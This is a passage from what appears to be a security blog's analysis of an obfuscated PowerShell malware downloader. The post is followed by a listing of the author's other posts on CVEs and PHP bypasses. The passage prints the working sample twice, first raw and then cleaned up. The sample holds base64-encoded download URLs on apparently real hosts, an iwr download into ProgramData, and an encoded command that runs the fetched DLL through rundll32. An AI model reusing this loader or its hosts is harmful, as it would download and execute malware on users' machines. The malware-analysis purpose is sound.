 $Muttonhood = "aAB0AHQAcAA6AC8ALwAxADUAOAAuADIANQA1AC4AMgAxADMALgAxADgAMQAvAG0AaQBSAC8AcABiAFMAegBVAHAAdQBaAHgASgA=naAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADIALgA1ADQALwA5AEcAUQA1AEEAOAAvADUAeQA2AEwARgByAHgASAA=naAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADgALgA5ADEALwBYAG4AZAAvADgAMwByAFIAbgBHAEkAOQA1AHEA";
 foreach ($pansinusitisUnpatrolled in $Muttonhood -split "n") {
    $pongidaeThickest = 415;
    $tantalizerTeutonicism = 443;
    $largeheartedlyWeighed = "Obstetrication";
    try {
        $pupillarityInlanders = "aAB0AHQAcAA6AC8ALwA4ADgALgAyADEAOAAuADEANQAwAC4AMQAwADAAXvVaAB0AHQAcAA6AC8ALwBtAG8AdQB0AGgAZQByAC4AYwBvAGwAbwBnAG4AZQA=XvVaAB0AHQAcAA6AC8ALwBzAGMAaABvAG8AbABtAGUAbgAuAHEAdQBlAGIAZQBjAA==XvVaAB0AHQAcABzADoALwAvADYANwAuADUAMgAuADIAMAAxAC4ANwAyAA==";
        $PropensionSorceresses = "Admonisher";
        $ProsthenicCongery = "grandnephew";
        $crackerjack = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pansinusitisUnpatrolled));
        iwr $crackerjack -O C:\\ProgramData\\TiderodeReinhabitation.rilingShrews;
        $wheelwork = "GemmatingInsulator";
        $Heiress = "PistoladeProjectrix";
        if ((Get-Item -Path C:\\ProgramData\\TiderodeReinhabitation.rilingShrews).Length -ge 109595){
            powershell -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVABpAGQAZQByAG8AZABlAFIAZQBpAG4AaABhAGIAaQB0AGEAdABpAG8AbgAuAHIAaQBsAGkAbgBnAFMAaAByAGUAdwBzACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByADsAQQBuAGcAdQBsAGEAcgA=";
            $inhabitednessExpositorially = "Noncurtailing";
            $outrhymed = "denotePhototelegraphically";
            break;
            Angular;
        }
        Angular;
    } catch {
        $moolet = "aAB0AHQAcABzADoALwAvAGMAbwByAHIAdQBwAHQAcgBlAHMAcwBTAHUAYgBzAGkAZABpAHoAZQByAC4AYQBjAHQAbwByAA==dSVgaAB0AHQAcAA6AC8ALwAyADEAMwAuADEAMwAxAC4AMQA2ADgALgA2ADMA";$PolyspermiaAntipill = 952;
    }
}
$prevalency = 517;
$DendriticContributions = "FechnerianDorsoposteriad";
$PotentiatorToxaemic = "ophichthyoidLichenization";
Angular;

Cleaning it up a little bit, and we finally get the downloader code:

 Start-Sleep -Seconds 13;
 $Muttonhood = "aAB0AHQAcAA6AC8ALwAxADUAOAAuADIANQA1AC4AMgAxADMALgAxADgAMQAvAG0AaQBSAC8AcABiAFMAegBVAHAAdQBaAHgASgA=naAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADIALgA1ADQALwA5AEcAUQA1AEEAOAAvADUAeQA2AEwARgByAHgASAA=naAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADgALgA5ADEALwBYAG4AZAAvADgAMwByAFIAbgBHAEkAOQA1AHEA";
 foreach ($pansinusitisUnpatrolled in $Muttonhood -split "n") {
    try {
        $crackerjack = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pansinusitisUnpatrolled));
        iwr $crackerjack -O C:\\ProgramData\\TiderodeReinhabitation.rilingShrews;
        if ((Get-Item -Path C:\\ProgramData\\TiderodeReinhabitation.rilingShrews).Length -ge 109595){
            powershell -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVABpAGQAZQByAG8AZABlAFIAZQBpAG4AaABhAGIAaQB0AGEAdABpAG8AbgAuAHIAaQBsAGkAbgBnAFMAaAByAGUAdwBzACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByADsAQQBuAGcAdQBsAGEAcgA=";
            break;
        }

    } catch {}
}

The variable Muttonhood contains URLs being base64-encoded. An attempt the fetch content is made, and the result is saved to a file in ProgramData. If the content has a significant size, another encoded Powershell command is executed. If decoded, we get

start rundll32 C:\ProgramData\TiderodeReinhabitation.rilingShrews,DllRegisterServer;Angular

Indeed, it executes the file just being downloaded. 1’111 lines of code for this … It was worth it.

2024

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

10 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

7 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

3 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

17 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑